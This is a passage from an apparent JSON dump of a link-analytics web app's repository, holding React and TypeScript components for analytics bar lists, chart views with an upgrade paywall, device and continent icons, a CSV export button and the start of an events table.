...data,\n    maxValue,\n    totalSum,\n    tab,\n    unit,\n    setShowModal,\n    barBackground,\n    hoverBackground,\n    filterSelectedBackground,\n    filterSelectedHoverBackground,\n    filterHoverClass,\n    limit,\n    isSelected: data.filterValue\n      ? (effectiveSelectedValues ?? []).includes(data.filterValue)\n      : false,\n    isActivelyFiltered:\n      !!limit &&\n      !!data.filterValue &&\n      (activeFilterValues ?? []).includes(data.filterValue),\n    onFilterClick: data.filterValue\n      ? !limit\n        ? () => handleModalToggle(data.filterValue!)\n        : onToggleFilter\n          ? () => onToggleFilter(data.filterValue!)\n          : undefined\n      : undefined,\n  }));\n\n  const filterButtons = hasSelection &&\n    onApplyFilterValues &&\n    onClearFilter && (\n      <motion.div\n        initial={{ opacity: 0, y: 8 }}\n        animate={{ opacity: 1, y: 0 }}\n        exit={{ opacity: 0, y: 8 }}\n        transition={{ ease: \"easeOut\", duration: 0.15 }}\n        className=\"absolute bottom-0 left-0 z-20 flex w-full items-end\"\n      >\n        <div className=\"pointer-events-none absolute bottom-0 left-0 h-48 w-full bg-gradient-to-t from-white\" />\n        <div className=\"relative flex w-full items-center justify-center gap-2 py-4\">\n          <Button\n            text=\"Filter\"\n            variant=\"primary\"\n            className=\"h-8 w-fit rounded-lg px-3 py-2\"\n            onClick={() => onApplyFilterValues(selectedFilterValues ?? [])}\n          />\n          <Button\n            text=\"Clear\"\n            variant=\"secondary\"\n            className=\"h-8 w-fit rounded-lg px-3 py-2\"\n            onClick={onClearFilter}\n          />\n        </div>\n      </motion.div>\n    );\n\n  const bars = (\n    <NumberFlowGroup>\n      <div className=\"relative grid h-full auto-rows-min grid-cols-1\">\n        {virtualize ? (\n          <AutoSizer>\n            {({ width, height }) => (\n              <FixedSizeList\n                width={width}\n                height={height}\n                itemCount={filteredData.length}\n                itemSize={40}\n                itemData={itemProps}\n              >\n                {VirtualLineItem}\n              </FixedSizeList>\n            )}\n          </AutoSizer>\n        ) : (\n          filteredData.map((data, idx) => (\n            <LineItem key={idx} {...itemProps[idx]} />\n          ))\n        )}\n      </div>\n    </NumberFlowGroup>\n  );\n\n  if (limit) {\n    return (\n      <>\n        {bars}\n        <AnimatePresence>{filterButtons}</AnimatePresence>\n      </>\n    );\n  } else {\n    return (\n      <>\n        <div className=\"relative px-4 py-3\">\n          <div className=\"pointer-events-none absolute inset-y-0 left-7 flex items-center\">\n            <Search className=\"h-4 w-4 text-neutral-400\" />\n          </div>\n          <input\n            type=\"text\"\n            autoFocus={!isMobile}\n            className=\"w-full rounded-md border border-neutral-300 py-2 pl-10 text-black placeholder:text-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-4 focus:ring-neutral-200 sm:text-sm\"\n            placeholder={`Search ${tab}...`}\n            onChange={(e) => setSearch(e.target.value)}\n          />\n        </div>\n        <div className=\"relative\">\n          <div className=\"h-[50vh] overflow-auto pb-4 md:h-[40vh]\">{bars}</div>\n          {hasModalSelection && onApplyFilterValues && (\n            <div className=\"pointer-events-none absolute bottom-0 left-0 right-0 flex h-[130px] items-end justify-center bg-gradient-to-t from-white from-40% to-white/0 pb-4\">\n              <div className=\"pointer-events-auto flex items-center gap-2\">\n                <Button\n                  text=\"Filter\"\n                  variant=\"primary\"\n                  className=\"h-8 w-fit rounded-lg px-3 py-2\"\n                  onClick={() => {\n                    onApplyFilterValues(modalSelectedValues);\n                    setShowModal(false);\n                  }}\n                />\n\n                <Button\n                  text=\"Clear\"\n                  variant=\"secondary\"\n                  className=\"h-8 w-fit rounded-lg px-3 py-2\"\n                  onClick={() => {\n                    setModalSelectedValues([]);\n                    onClearFilter?.();\n                    setShowModal(false);\n                  }}\n                />\n              </div>\n            </div>\n          )}\n        </div>\n      </>\n    );\n  }\n}\n\nexport function LineItem({\n  icon,\n  title,\n  value,\n  totalSum,\n  tab,\n  unit,\n  setShowModal,\n  barBackground,\n  hoverBackground,\n  filterSelectedBackground = \"bg-neutral-900\",\n  filterSelectedHoverBackground,\n  filterHoverClass,\n  linkData,\n  limit,\n  isSelected,\n  isActivelyFiltered,\n  onFilterClick,\n  href,\n}: {\n  icon: ReactNode;\n  title: string;\n  value: number;\n  totalSum: number;\n  tab: string;\n  unit: string;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  barBackground: string;\n  hoverBackground: string;\n  filterSelectedBackground?: string;\n  filterSelectedHoverBackground?: string;\n  filterHoverClass?: string;\n  linkData?: LinkProps;\n  limit?: number;\n  isSelected?: boolean;\n  isActivelyFiltered?: boolean;\n  onFilterClick?: () => void;\n  href?: string;\n}) {\n  const [isHovered, setIsHovered] = useState(false);\n  const [filterButtonHovered, setFilterButtonHovered] = useState(false);\n  const [tooltipResetKey, setTooltipResetKey] = useState(0);\n  const { saleUnit } = useContext(AnalyticsContext);\n  const router = useRouter();\n\n  const percentage = Math.round((value / totalSum) * 1000) / 10;\n  const isModalView = !limit;\n\n  const lineItem = (\n    <div className=\"z-10 flex items-center space-x-4 overflow-hidden px-3\">\n      {onFilterClick ? (\n        <button\n          onClick={(e) => {\n            e.preventDefault();\n            e.stopPropagation();\n            if (!isActivelyFiltered) onFilterClick();\n          }}\n          onMouseEnter={() => {\n            setFilterButtonHovered(true);\n            setTooltipResetKey((k) => k + 1);\n          }}\n          onMouseLeave={() => setFilterButtonHovered(false)}\n          aria-label={`${isSelected ? \"Remove\" : \"Add\"} filter: ${title}`}\n          aria-pressed={isSelected}\n          className=\"relative size-6 shrink-0 cursor-pointer\"\n        >\n          <div\n            className={cn(\n              \"flex size-full items-center justify-center transition-all duration-200\",\n              isSelected || isHovered ? \"translate-x-3 opacity-0\" : \"\",\n            )}\n          >\n            {icon}\n          </div>\n          <div\n            className={cn(\n              \"absolute inset-0 flex items-center justify-center rounded-lg transition-all duration-200\",\n              isSelected\n                ? cn(\n                    \"translate-x-0 opacity-100\",\n                    filterSelectedBackground,\n                    filterSelectedHoverBackground,\n                  )\n                : isHovered\n                  ? cn(\n                      \"translate-x-0 opacity-100\",\n                      isActivelyFiltered\n                        ? cn(\n                            filterSelectedBackground,\n                            filterSelectedHoverBackground,\n                          )\n                        : filterHoverClass,\n                    )\n                  : \"-translate-x-3 opacity-0\",\n            )}\n          >\n            <FilterBars\n              className={cn(\n                \"size-3\",\n                isSelected || isActivelyFiltered\n                  ? \"text-white\"\n                  : \"text-neutral-500\",\n              )}\n            />\n          </div>\n        </button>\n      ) : (\n        <div className=\"flex size-6 shrink-0 items-center justify-center\">\n          {icon}\n        </div>\n      )}\n      {tab === \"links\" && linkData ? (\n        <Tooltip\n          key={tooltipResetKey}\n          content={<LinkPreviewTooltip data={linkData} />}\n          disabled={filterButtonHovered}\n        >\n          <div className=\"truncate text-sm text-neutral-800\">\n            {getPrettyUrl(title)}\n          </div>\n        </Tooltip>\n      ) : tab === \"urls\" ? (\n        <Tooltip\n          key={tooltipResetKey}\n          content={`[${title}](${title})`}\n          contentClassName=\"max-w-lg\"\n          disabled={filterButtonHovered}\n        >\n          <div className=\"truncate text-sm text-neutral-800\">\n            {getPrettyUrl(title)}\n          </div>\n        </Tooltip>\n      ) : (\n        <div className=\"truncate text-sm text-neutral-800\">\n          {getPrettyUrl(title)}\n        </div>\n      )}\n    </div>\n  );\n\n  const rowClickable =\n    (onFilterClick && !isActivelyFiltered) || (!!href && !onFilterClick);\n\n  return (\n    <div\n      onMouseEnter={() => setIsHovered(true)}\n      onMouseLeave={() => setIsHovered(false)}\n      onClick={() => {\n        if (onFilterClick && !isActivelyFiltered) {\n          onFilterClick();\n        } else if (href && !onFilterClick) {\n          router.push(href);\n          setShowModal(false);\n        }\n      }}\n      className={cn(\n        \"group block min-w-0 border-l-2 border-transparent px-4 py-1 transition-all\",\n        rowClickable && \"cursor-pointer\",\n        hoverBackground,\n      )}\n    >\n      <div\n        className={cn(\n          \"relative flex items-center justify-between\",\n          isModalView && \"gap-16\",\n        )}\n      >\n        <motion.div\n          style={{\n            width: `${percentage}%`,\n            position: \"absolute\",\n            inset: 0,\n          }}\n          className={cn(\"-z-10 h-full origin-left rounded-md\", barBackground)}\n          transition={{ ease: \"easeOut\", duration: 0.3 }}\n          initial={{ transform: \"scaleX(0)\" }}\n          animate={{ transform: \"scaleX(1)\" }}\n        />\n        <div className=\"relative z-10 flex h-8 w-full min-w-0 max-w-[calc(100%-2rem)] items-center transition-[max-width] duration-300 ease-in-out group-hover:max-w-[calc(100%-5rem)]\">\n          {lineItem}\n        </div>\n        <div className=\"z-10 flex items-center\">\n          <NumberFlow\n            value={\n              unit === \"sales\" && saleUnit === \"saleAmount\"\n                ? value / 100\n                : value\n            }\n            className={cn(\n              \"z-10 px-2 text-sm text-neutral-600 transition-transform duration-300\",\n              isModalView ? \"-translate-x-14\" : \"group-hover:-translate-x-14\",\n            )}\n            style={{\n              // Adds translateZ(0) to fix transition jitter\n              transform: `translateX(var(--tw-translate-x, 0)) translateZ(0)`,\n            }}\n            format={\n              unit === \"sales\" && saleUnit === \"saleAmount\"\n                ? {\n                    style: \"currency\",\n                    currency: \"USD\",\n                  }\n                : {\n                    notation: value > 999999 ? \"compact\" : \"standard\",\n                  }\n            }\n          />\n          <div\n            className={cn(\n              \"absolute right-0 px-3 text-sm text-neutral-600/70 transition-all duration-300\",\n              isModalView\n                ? \"visible translate-x-0 opacity-100\"\n                : \"invisible translate-x-14 opacity-0 group-hover:visible group-hover:translate-x-0 group-hover:opacity-100\",\n            )}\n            style={{\n              // Adds translateZ(0) to fix transition jitter\n              transform: `translateX(var(--tw-translate-x, 0)) translateZ(0)`,\n            }}\n          >\n            {percentage}%\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nconst VirtualLineItem = memo(\n  ({\n    data,\n    index,\n    style,\n  }: {\n    data: ComponentProps<typeof LineItem>[];\n    index: number;\n    style: any;\n  }) => {\n    const props = data[index];\n\n    return (\n      <div style={style}>\n        <LineItem {...props} />\n      </div>\n    );\n  },\n  areEqual,\n);\n"
  },
  {
    "path": "apps/web/ui/analytics/chart-section.tsx",
    "content": "import { EventType } from \"@/lib/analytics/types\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  BlurImage,\n  buttonVariants,\n  ToggleGroup,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Play } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useContext, useMemo } from \"react\";\nimport { AnalyticsAreaChart } from \"./analytics-area-chart\";\nimport { AnalyticsFunnelChart } from \"./analytics-funnel-chart\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport { AnalyticsTabs } from \"./analytics-tabs\";\nimport { ChartViewSwitcher } from \"./chart-view-switcher\";\n\ntype Tab = {\n  id: EventType;\n  label: string;\n  colorClassName: string;\n  conversions: boolean;\n};\n\nexport function ChartSection() {\n  const {\n    totalEvents,\n    requiresUpgrade,\n    showConversions,\n    selectedTab,\n    saleUnit,\n    view,\n  } = useContext(AnalyticsContext);\n  const { plan } = useWorkspace();\n  const { queryParams } = useRouterStuff();\n\n  const tabs = useMemo(\n    () =>\n      [\n        {\n          id: \"clicks\",\n          label: \"Clicks\",\n          colorClassName: \"text-blue-500/50\",\n          conversions: false,\n        },\n        ...(showConversions\n          ? [\n              {\n                id: \"leads\",\n                label: \"Leads\",\n                colorClassName: \"text-violet-600/50\",\n                conversions: true,\n              },\n              {\n                id: \"sales\",\n                label: \"Sales\",\n                colorClassName: \"text-teal-400/50\",\n                conversions: true,\n              },\n            ]\n          : []),\n      ] as Tab[],\n    [showConversions],\n  );\n\n  const tab = tabs.find(({ id }) => id === selectedTab) ?? tabs[0];\n\n  const showPaywall =\n    (tab.conversions || view === \"funnel\") &&\n    (plan === \"free\" || plan === \"pro\");\n\n  return (\n    <div className=\"w-full overflow-hidden bg-white\">\n      <div className=\"border border-neutral-200 sm:rounded-t-xl\">\n        <AnalyticsTabs\n          showConversions={showConversions}\n          totalEvents={totalEvents}\n          tab={selectedTab}\n          tabHref={(id) =>\n            queryParams({\n              set: {\n                event: id,\n              },\n              getNewPath: true,\n            }) as string\n          }\n          saleUnit={saleUnit}\n          setSaleUnit={(option) =>\n            queryParams({\n              set: { saleUnit: option },\n            })\n          }\n          requiresUpgrade={requiresUpgrade}\n          showPaywall={showPaywall}\n        />\n      </div>\n      <div className=\"relative\">\n        <div\n          className={cn(\n            \"relative overflow-hidden border-x border-b border-neutral-200 sm:rounded-b-xl\",\n            showPaywall &&\n              \"pointer-events-none [mask-image:linear-gradient(#0006,#0006_25%,transparent_40%)]\",\n          )}\n        >\n          {view === \"timeseries\" && (\n            <div className=\"p-5 pt-10 sm:p-10\">\n              <AnalyticsAreaChart resource={tab.id} demo={showPaywall} />\n            </div>\n          )}\n          {view === \"funnel\" && (\n            <div className=\"h-[444px] w-full sm:h-[464px]\">\n              <AnalyticsFunnelChart demo={showPaywall} />\n            </div>\n          )}\n        </div>\n        <div className=\"absolute right-3 top-3 flex items-center gap-2\">\n          {showConversions && (\n            <ToggleGroup\n              className=\"flex w-fit shrink-0 items-center gap-1 border-neutral-100 bg-neutral-100 sm:hidden\"\n              optionClassName=\"size-8 p-0 flex items-center justify-center\"\n              indicatorClassName=\"border border-neutral-200 bg-white\"\n              options={[\n                {\n                  label: <div className=\"text-base\">$</div>,\n                  value: \"saleAmount\",\n                },\n                {\n                  label: <div className=\"text-[11px]\">123</div>,\n                  value: \"sales\",\n                },\n              ]}\n              selected={saleUnit}\n              selectAction={(option) =>\n                queryParams({\n                  set: { saleUnit: option },\n                })\n              }\n            />\n          )}\n          <ChartViewSwitcher />\n        </div>\n        {showPaywall && <ConversionTrackingPaywall />}\n      </div>\n    </div>\n  );\n}\n\nfunction ConversionTrackingPaywall() {\n  const { slug } = useWorkspace();\n\n  return (\n    <div className=\"animate-slide-up-fade pointer-events-none absolute inset-0 flex items-center justify-center pt-24\">\n      <div className=\"pointer-events-auto flex flex-col items-center\">\n        <Link\n          href=\"https://d.to/conversions\"\n          target=\"_blank\"\n          className=\"group relative flex aspect-video w-full max-w-80 items-center justify-center overflow-hidden rounded-lg border border-neutral-200 bg-neutral-100\"\n        >\n          <BlurImage\n            src=\"https://assets.dub.co/blog/conversion-analytics.png\"\n            alt=\"thumbnail\"\n            fill\n            className=\"object-cover\"\n          />\n          <div className=\"relative flex size-10 items-center justify-center rounded-full bg-neutral-900 ring-[6px] ring-black/5 transition-all duration-75 group-hover:ring-[8px] group-active:ring-[7px]\">\n            <Play className=\"size-4 fill-current text-white\" />\n          </div>\n        </Link>\n        <h2 className=\"mt-7 text-base font-semibold text-neutral-700\">\n          Conversion Tracking\n        </h2>\n        <p className=\"mt-4 max-w-sm text-center text-sm text-neutral-500\">\n          Want to see how your clicks are converting to revenue? Upgrade to our\n          Business Plan and start tracking conversion events with Dub.{\" \"}\n          <Link\n            href=\"https://d.to/conversions\"\n            target=\"_blank\"\n            className=\"underline transition-colors duration-75 hover:text-neutral-700\"\n          >\n            Learn more\n          </Link>\n        </p>\n        <Link\n          href={`/${slug}/upgrade`}\n          className={cn(\n            buttonVariants({ variant: \"primary\" }),\n            \"mt-4 flex h-8 items-center justify-center whitespace-nowrap rounded-lg border px-3 text-sm\",\n          )}\n        >\n          Upgrade to Business\n        </Link>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/chart-view-switcher.tsx",
    "content": "import { ChartLine, Filter2, ToggleGroup, useRouterStuff } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useContext } from \"react\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\nexport function ChartViewSwitcher({ className }: { className?: string }) {\n  const { queryParams } = useRouterStuff();\n\n  const { view } = useContext(AnalyticsContext);\n\n  return (\n    <ToggleGroup\n      className={cn(\n        \"flex w-fit shrink-0 items-center gap-1 border-neutral-100 bg-neutral-100\",\n        className,\n      )}\n      optionClassName=\"size-8 p-0 flex items-center justify-center\"\n      indicatorClassName=\"border border-neutral-200 bg-white\"\n      options={[\n        {\n          label: <ChartLine className=\"size-4 text-neutral-600\" />,\n          value: \"timeseries\",\n        },\n        {\n          label: <Filter2 className=\"size-4 -rotate-90 text-neutral-600\" />,\n          value: \"funnel\",\n        },\n      ]}\n      selected={view}\n      selectAction={(option) => {\n        queryParams({\n          set: { view: option },\n        });\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/continent-icon.tsx",
    "content": "import {\n  Africa,\n  Asia,\n  Europe,\n  Globe,\n  NorthAmerica,\n  Oceania,\n  SouthAmerica,\n} from \"@dub/ui/icons\";\n\nexport function ContinentIcon({\n  display,\n  className,\n}: {\n  display: string;\n  className?: string;\n}) {\n  switch (display) {\n    case \"AF\":\n      return <Africa className={className} />;\n    case \"AS\":\n      return <Asia className={className} />;\n    case \"EU\":\n      return <Europe className={className} />;\n    case \"NA\":\n      return <NorthAmerica className={className} />;\n    case \"OC\":\n      return <Oceania className={className} />;\n    case \"SA\":\n      return <SouthAmerica className={className} />;\n    default:\n      return <Globe className={className} />;\n  }\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/device-icon.tsx",
    "content": "import { DeviceTabs } from \"@/lib/analytics/types\";\nimport { Chrome, Safari } from \"@/ui/shared/icons/devices\";\nimport { BlurImage } from \"@dub/ui\";\nimport {\n  AppleLogo,\n  Cube,\n  Desktop,\n  GamingConsole,\n  MobilePhone,\n  TV,\n  Tablet,\n  Watch,\n  Window,\n} from \"@dub/ui/icons\";\nimport { TRIGGER_DISPLAY } from \"./trigger-display\";\n\nexport function DeviceIcon({\n  display,\n  tab,\n  className,\n}: {\n  display: string;\n  tab: DeviceTabs;\n  className: string;\n}) {\n  if (tab === \"devices\") {\n    switch (display) {\n      case \"Desktop\":\n        return <Desktop className={className} />;\n      case \"Mobile\":\n        return <MobilePhone className={className} />;\n      case \"Tablet\":\n        return <Tablet className={className} />;\n      case \"Wearable\":\n        return <Watch className={className} />;\n      case \"Console\":\n        return <GamingConsole className={className} />;\n      case \"Smarttv\":\n        return <TV className={className} />;\n      default:\n        return <Desktop className={className} />;\n    }\n  } else if (tab === \"browsers\") {\n    switch (display) {\n      case \"Chrome\":\n        return <Chrome className={className} />;\n      case \"Safari\":\n      case \"Mobile Safari\":\n        return <Safari className={className} />;\n      case \"Unknown\":\n        return <Window className={className} />;\n      default:\n        return (\n          <BlurImage\n            src={`https://faisalman.github.io/ua-parser-js/images/browsers/${display.toLowerCase()}.png`}\n            alt={display}\n            width={20}\n            height={20}\n            className={className}\n          />\n        );\n    }\n  } else if (tab === \"os\") {\n    switch (display) {\n      case \"Mac OS\":\n        return (\n          <BlurImage\n            src=\"https://assets.dub.co/misc/icons/macos.png\"\n            alt={display}\n            width={20}\n            height={20}\n            className=\"h-4 w-4\"\n          />\n        );\n      case \"iOS\":\n        return <AppleLogo className=\"-ml-1 h-5 w-5\" />;\n      case \"Unknown\":\n        return <Cube className={className} />;\n      default:\n        return (\n          <BlurImage\n            src={`https://faisalman.github.io/ua-parser-js/images/os/${display.toLowerCase()}.png`}\n            alt={display}\n            width={30}\n            height={20}\n            className=\"h-4 w-5\"\n          />\n        );\n    }\n  } else if (tab === \"triggers\") {\n    const { icon: Icon } = TRIGGER_DISPLAY[display ?? \"link\"];\n    return <Icon className={className} />;\n  } else {\n    return (\n      <BlurImage\n        src={`https://faisalman.github.io/ua-parser-js/images/companies/default.png`}\n        alt={display}\n        width={20}\n        height={20}\n        className={className}\n      />\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/device-section.tsx",
    "content": "import { SINGULAR_ANALYTICS_ENDPOINTS } from \"@/lib/analytics/constants\";\nimport { DeviceTabs } from \"@/lib/analytics/types\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { Cube, CursorRays, MobilePhone, Window } from \"@dub/ui/icons\";\nimport { useCallback, useContext, useEffect, useMemo, useState } from \"react\";\nimport { AnalyticsCard } from \"./analytics-card\";\nimport { AnalyticsLoadingSpinner } from \"./analytics-loading-spinner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport { BarList } from \"./bar-list\";\nimport { DeviceIcon } from \"./device-icon\";\nimport { TRIGGER_DISPLAY } from \"./trigger-display\";\nimport { useAnalyticsFilterOption } from \"./utils\";\n\nexport function DeviceSection() {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const { selectedTab, saleUnit } = useContext(AnalyticsContext);\n  const dataKey = selectedTab === \"sales\" ? saleUnit : \"count\";\n\n  const [tab, setTab] = useState<DeviceTabs>(\"devices\");\n  const { data } = useAnalyticsFilterOption(tab);\n  const { data: allData } = useAnalyticsFilterOption(tab, {\n    omitGroupByFilterKey: true,\n  });\n  const singularTabName = SINGULAR_ANALYTICS_ENDPOINTS[tab];\n\n  const [selectedItems, setSelectedItems] = useState<string[]>([]);\n\n  useEffect(() => {\n    setSelectedItems([]);\n  }, [tab]);\n\n  const onToggleFilter = useCallback((val: string) => {\n    setSelectedItems((prev) =>\n      prev.includes(val) ? prev.filter((v) => v !== val) : [...prev, val],\n    );\n  }, []);\n\n  const onApplyFilterValues = useCallback(\n    (values: string[]) => {\n      if (values.length === 0) {\n        queryParams({ del: singularTabName });\n      } else {\n        queryParams({ set: { [singularTabName]: values.join(\",\") } });\n      }\n      setSelectedItems([]);\n    },\n    [singularTabName, queryParams],\n  );\n\n  const isFilterActive = searchParams.has(singularTabName);\n  const activeFilterValues = useMemo(\n    () => searchParams.get(singularTabName)?.split(\",\") ?? [],\n    [singularTabName, searchParams],\n  );\n\n  const onClearFilter = useCallback(() => {\n    setSelectedItems([]);\n    if (isFilterActive) queryParams({ del: singularTabName });\n  }, [singularTabName, queryParams, isFilterActive]);\n\n  return (\n    <AnalyticsCard\n      tabs={[\n        { id: \"devices\", label: \"Devices\", icon: MobilePhone },\n        { id: \"browsers\", label: \"Browsers\", icon: Window },\n        { id: \"os\", label: \"OS\", icon: Cube },\n        { id: \"triggers\", label: \"Triggers\", icon: CursorRays },\n      ]}\n      selectedTabId={tab}\n      onSelectTab={setTab}\n      expandLimit={8}\n      dataLength={data?.length}\n      isFilterActive={isFilterActive}\n      onClearFilter={onClearFilter}\n    >\n      {({ limit, setShowModal }) =>\n        data ? (\n          data.length > 0 ? (\n            <BarList\n              tab={singularTabName}\n              data={\n                data\n                  ?.map((d) => ({\n                    icon: (\n                      <DeviceIcon\n                        display={d[singularTabName]}\n                        tab={tab}\n                        className=\"h-4 w-4\"\n                      />\n                    ),\n                    title:\n                      tab === \"triggers\"\n                        ? TRIGGER_DISPLAY[d.trigger].title\n                        : d[singularTabName],\n                    filterValue: d[singularTabName],\n                    value: d[dataKey] || 0,\n                  }))\n                  ?.sort((a, b) => b.value - a.value) || []\n              }\n              allData={allData\n                ?.map((d) => ({\n                  icon: (\n                    <DeviceIcon\n                      display={d[singularTabName]}\n                      tab={tab}\n                      className=\"h-4 w-4\"\n                    />\n                  ),\n                  title:\n                    tab === \"triggers\"\n                      ? TRIGGER_DISPLAY[d.trigger].title\n                      : d[singularTabName],\n                  filterValue: d[singularTabName],\n                  value: d[dataKey] || 0,\n                }))\n                ?.sort((a, b) => b.value - a.value)}\n              unit={selectedTab}\n              maxValue={Math.max(...data.map((d) => d[dataKey] ?? 0)) ?? 0}\n              barBackground=\"bg-green-100\"\n              hoverBackground=\"hover:bg-gradient-to-r hover:from-green-50 hover:to-transparent hover:border-green-500\"\n              filterSelectedBackground=\"bg-green-600\"\n              filterSelectedHoverBackground=\"hover:bg-green-700\"\n              filterHoverClass=\"bg-white border border-green-200\"\n              setShowModal={setShowModal}\n              selectedFilterValues={selectedItems}\n              activeFilterValues={activeFilterValues}\n              onToggleFilter={onToggleFilter}\n              onClearFilter={onClearFilter}\n              onClearSelection={() => setSelectedItems([])}\n              onApplyFilterValues={onApplyFilterValues}\n              {...(limit && { limit })}\n            />\n          ) : (\n            <div className=\"flex h-[300px] items-center justify-center\">\n              <p className=\"text-sm text-neutral-600\">No data available</p>\n            </div>\n          )\n        ) : (\n          <div className=\"absolute inset-0 flex h-[300px] w-full items-center justify-center bg-white/50\">\n            <AnalyticsLoadingSpinner />\n          </div>\n        )\n      }\n    </AnalyticsCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/events/events-export-button.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, Download, TooltipContent } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { Dispatch, SetStateAction, useContext } from \"react\";\nimport { toast } from \"sonner\";\nimport { AnalyticsContext } from \"../analytics-provider\";\nimport { EventsContext } from \"./events-provider\";\n\nexport function EventsExportButton({\n  setOpenPopover,\n}: {\n  setOpenPopover: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { exportQueryString } = useContext(EventsContext);\n  const { eventsApiPath } = useContext(AnalyticsContext);\n  const { slug, plan } = useWorkspace();\n  const { data: session } = useSession();\n\n  const needsHigherPlan = plan === \"free\" || plan === \"pro\";\n\n  async function exportData() {\n    const response = await fetch(\n      `${eventsApiPath}/export?${exportQueryString}`,\n      {\n        method: \"GET\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      },\n    );\n\n    if (!response.ok) {\n      throw new Error(response.statusText);\n    }\n\n    if (response.status === 202) {\n      setOpenPopover(false);\n      return {\n        isAsync: true,\n        message: `Your export is being processed and we'll send you an email (${session?.user?.email}) when it's ready to download.`,\n      };\n    }\n\n    const blob = await response.blob();\n    const url = window.URL.createObjectURL(blob);\n    const a = document.createElement(\"a\");\n    a.href = url;\n    a.download = `Dub Events Export - ${new Date().toISOString()}.csv`;\n    a.click();\n    setOpenPopover(false);\n    return {\n      isAsync: false,\n      message: \"Exported successfully\",\n    };\n  }\n\n  return (\n    <Button\n      variant=\"outline\"\n      icon={<Download className=\"h-4 w-4 shrink-0\" />}\n      className=\"h-9 justify-start px-2 text-black\"\n      text=\"Download as CSV\"\n      disabledTooltip={\n        needsHigherPlan && (\n          <TooltipContent\n            title=\"Upgrade to our Business Plan to enable CSV downloads for events in your workspace.\"\n            cta=\"Upgrade to Business\"\n            href={`/${slug}/upgrade`}\n          />\n        )\n      }\n      onClick={() => {\n        toast.promise(exportData(), {\n          loading: \"Exporting file...\",\n          success: (data) => data.message,\n          error: (error) => error,\n        });\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/events/events-provider.tsx",
    "content": "\"use client\";\n\nimport { PropsWithChildren, createContext, useState } from \"react\";\n\nexport const EventsContext = createContext<{\n  exportQueryString?: string;\n  setExportQueryString?: (queryString: string) => void;\n}>({});\n\nexport function EventsProvider({ children }: PropsWithChildren) {\n  const [exportQueryString, setExportQueryString] = useState<string>();\n\n  return (\n    <EventsContext.Provider value={{ exportQueryString, setExportQueryString }}>\n      {children}\n    </EventsContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/events/events-table.tsx",
    "content": "\"use client\";\n\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspacePreferences } from \"@/lib/swr/use-workspace-preferences\";\nimport { ClickEvent, LeadEvent, SaleEvent } from \"@/lib/types\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport {\n  CopyText,\n  EditColumnsButton,\n  LinkLogo,\n  Table,\n  TimestampTooltip,\n  Tooltip,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Globe, Magnifier } from \"@dub/ui/icons\";\nimport {\n  CONTINENTS,\n  COUNTRIES,\n  REGIONS,\n  capitalize,\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDateTimeSmart,\n  getApexDomain,\n  getPrettyUrl,\n} from \"@dub/utils\";\nimport { Cell, ColumnDef } from \"@tanstack/react-table\";\nimport { Link2 } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { ReactNode, useCallback, useContext, useEffect, useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { AnalyticsContext } from \"../analytics-provider\";\nimport { ContinentIcon } from \"../continent-icon\";\nimport { DeviceIcon } from \"../device-icon\";\nimport { TRIGGER_DISPLAY } from \"../trigger-display\";\nimport { EventsContext } from \"./events-provider\";\nimport { EXAMPLE_EVENTS_DATA } from \"./example-data\";\nimport { MetadataViewer } from \"./metadata-viewer\";\nimport { RowMenuButton } from \"./row-menu-button\";\n\nconst eventColumns = {\n  clicks: {\n    all: [\n      \"timestamp\",\n      \"trigger\",\n      \"link\",\n      \"url\",\n      \"country\",\n      \"city\",\n      \"region\",\n      \"continent\",\n      \"device\",\n      \"browser\",\n      \"os\",\n      \"referer\",\n      \"refererUrl\",\n      \"clickId\",\n      \"ip\",\n    ],\n    defaultVisible: [\"timestamp\", \"link\", \"referer\", \"country\", \"device\"],\n  },\n  leads: {\n    all: [\n      \"timestamp\",\n      \"event\",\n      \"link\",\n      \"url\",\n      \"customer\",\n      \"customerName\",\n      \"customerExternalId\",\n      \"country\",\n      \"city\",\n      \"region\",\n      \"continent\",\n      \"device\",\n      \"browser\",\n      \"os\",\n      \"referer\",\n      \"refererUrl\",\n      \"ip\",\n      \"clickId\",\n      \"eventId\",\n      \"metadata\",\n    ],\n    defaultVisible: [\"timestamp\", \"event\", \"link\", \"customer\", \"referer\"],\n  },\n  sales: {\n    all: [\n      \"timestamp\",\n      \"saleAmount\",\n      \"event\",\n      \"customer\",\n      \"customerName\",\n      \"customerExternalId\",\n      \"link\",\n      \"url\",\n      \"invoiceId\",\n      \"country\",\n      \"city\",\n      \"region\",\n   